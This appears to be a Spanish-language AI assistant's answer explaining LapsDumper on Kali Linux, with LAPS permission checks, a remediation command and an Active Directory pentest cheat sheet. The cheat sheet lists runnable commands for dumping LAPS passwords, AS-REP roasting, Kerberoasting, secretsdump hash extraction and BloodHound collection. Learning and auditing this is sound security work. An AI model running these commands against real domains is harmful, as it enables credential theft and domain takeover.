LapsDumper en Kali Linux
LapsDumper en Kali Linux
Entiendo que estás buscando información sobre cómo usar LapsDumper en Kali Linux. Esta es una herramienta muy específica y útil para auditorías de Active Directory.
Aquí tienes una guía rápida y clara sobre qué es y cómo ponerla en marcha.
¿Qué es LapsDumper?
Es una herramienta diseñada para extraer las contraseñas de administrador local almacenadas en Active Directory a través de LAPS (Local Administrator Password Solution).
Si el administrador del sistema no ha configurado correctamente los permisos de lectura de los atributos de LAPS, cualquier usuario con pocos privilegios (o un atacante que haya comprometido una cuenta) podría leer estas contraseñas en texto plano.
Requisitos previos
Antes de correr la herramienta, asegúrate de tener instaladas las dependencias de Impacket, que es el motor que suele usar LapsDumper para comunicarse con el protocolo LDAP.
pip3 install ldap3 impacket
Cómo usar LapsDumper en Kali Linux
Generalmente, el comando sigue esta estructura básica:
python3 lapsdumper.py -u 'usuario' -p 'contraseña' -d 'dominio.local' --dc-ip 'IP_DEL_DC'
Opciones comunes:
-u: Nombre del usuario con el que te vas a autenticar.-p: Contraseña del usuario.-d: El nombre del dominio (ej.miempresa.com).--dc-ip: La dirección IP del Controlador de Dominio.-o: (Opcional) Para exportar los resultados a un archivo.
¿Por qué funciona esto? (El concepto)
LAPS guarda la contraseña en un atributo de los objetos de computadora llamado ms-MCS-AdmPwd. Por defecto, solo los administradores deberían leerlo, pero a veces se heredan permisos incorrectos.
Nota de seguridad: Recuerda que el uso de estas herramientas debe realizarse siempre en entornos controlados o bajo una autorización explícita de auditoría (Pentesting ético). Acceder a credenciales sin permiso es ilegal.
Identificar quién puede leer esas contraseñas es el paso más importante para cerrar la brecha de seguridad. En un entorno de Active Directory, lo que buscamos son los permisos sobre el atributo ms-Mcs-AdmPwd.
Aquí tienes las formas más efectivas de verificarlo:
1. Usando PowerShell (Desde una máquina del dominio)
Si tienes acceso a una máquina del dominio con las herramientas de administración (RSAT), puedes usar el módulo de Active Directory para listar qué grupos tienen permisos extendidos:
# Reemplaza "NombreDelEquipo" por el nombre de un equipo específico
Get-Acl "AD:\CN=NombreDelEquipo,OU=Workstations,DC=dominio,DC=local" |
Select-Object -ExpandProperty Access |
Where-Object { $_.ObjectType -eq "Object-Guid-Del-Atributo" }
Nota: El GUID específico para el atributo de LAPS suele ser 46a9b40d-01f9-42d4-8d91-bc404684ff20.
2. Usando AdLightweight (Desde Kali Linux)
Si prefieres seguir en Kali, puedes usar herramientas como bloodyAD o scripts de impacket para consultar los descriptores de seguridad (ACLs). Sin embargo, una forma manual y muy reveladora con ldapsearch es buscar directamente quién tiene el valor lleno:
ldapsearch -x -h IP_DEL_DC -D "usuario@dominio.local" -W -b "dc=dominio,dc=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd
Si el comando devuelve contraseñas: El usuario que usaste tiene permisos de lectura.
Si el comando no devuelve nada: Ese usuario está correctamente restringido.
3. La forma visual: Consola de Usuarios y Equipos de AD
Si prefieres la interfaz gráfica en Windows:
Ve a Ver -> Características avanzadas.
Clic derecho en la Unidad Organizativa (OU) donde están los equipos -> Propiedades.
Pestaña Seguridad -> Botón Opciones avanzadas.
Busca grupos como
Everyone,Authenticated UsersoDomain Users.Si alguno de ellos tiene el permiso "Read ms-Mcs-AdmPwd", tienes un problema de seguridad grave.
¿Cómo solucionarlo?
La solución estándar es usar el script oficial de LAPS para quitar los permisos de lectura a los grupos que no deberían tenerlos:
Set-LapsReadRole -Identity "OU_de_Equipos" -AllowedPrincipals "Grupo_De_Admins_Seguros"
Aquí tienes una "hoja de trucos" (cheat sheet) con los comandos más esenciales que se utilizan desde Kali Linux para auditar un entorno de Active Directory.
He dividido los comandos según la fase de la auditoría, asumiendo que ya tienes una conexión de red con el Dominio.
1. Enumeración Inicial (Sin Credenciales)
Antes de tener un usuario, buscamos identificar el nombre del dominio, los controladores de dominio (DC) y posibles usuarios.
| Herramienta | Comando | Propósito |
| Netexec | nxc smb <IP_RED>/24 | Escaneo rápido para identificar hosts con SMB y el nombre del dominio. |
| Enum4linux-ng | enum4linux-ng -A <IP_DC> | Enumeración completa de shares, usuarios y políticas de contraseñas. |
| Nmap | nmap -p 389 --script ldap-rootdse <IP_DC> | Obtiene el nombre del dominio base vía LDAP. |
2. Enumeración con Credenciales (Usuario Estándar)
Una vez que tienes un usuario (por ejemplo, obtenido por Phishing o Password Spraying), la visibilidad aumenta drásticamente.
Con Netexec (Antiguo CrackMapExec)
Listar Usuarios:
nxc smb <IP_DC> -u 'user' -p 'pass' --usersListar Grupos:
nxc smb <IP_DC> -u 'user' -p 'pass' --groupsVer Shares (Carpetas compartidas):
nxc smb <IP_DC> -u 'user' -p 'pass' --sharesBuscar contraseñas de LAPS:
nxc ldap <IP_DC> -u 'user' -p 'pass' --laps
Con Impacket
Enumerar todo vía RPC:
impacket-rpcdump <dominio>/<user>:<pass>@<IP_DC>Obtener el SID del dominio:
impacket-lookupsid <dominio>/<user>:<pass>@<IP_DC>
3. Ataques de Movimiento Lateral y Privilegios
Aquí buscamos escalar de un usuario normal a Administrador del Dominio.
ASREPRoasting (Usuarios sin pre-autenticación):
impacket-GetNPUsers <dominio>/ -usersfile usuarios.txt -format hashcat -outputfile hashes.asreproastKerberoasting (Servicios con SPN):
impacket-GetUserSPNs <dominio>/<user>:<pass> -dc-ip <IP_DC> -requestSecretsDump (Dumping de hashes si eres Admin Local):
impacket-secretsdump <dominio>/<admin_user>:<pass>@<IP_TARGET>
4. Análisis de Relaciones con BloodHound
Esta es la herramienta reina para visualizar caminos de ataque.
Recolectar datos (Python Ingestor):
bloodhound-python -u 'user' -p 'pass' -d 'dominio.local' -dc 'dc.dominio.local' -c AllSubir los archivos JSON: Abre la interfaz de
bloodhoundy arrastra los archivos generados para ver los caminos más cortos hacia el "Domain Admin".
Resumen de puertos clave a vigilar:
53: DNS (Localización de servicios).
88: Kerberos (Autenticación).
135: RPC (Enumeración).
389 / 636: LDAP / LDAPS (Base de datos de AD).
445: SMB (Transferencia de archivos y ejecución remota).
Tip Pro: Si estás en una auditoría real, usa siempre la opción
-oNen Nmap o guarda los outputs de tus comandos en archivos de texto, ya que la cantidad de información en AD suele ser abrumadora.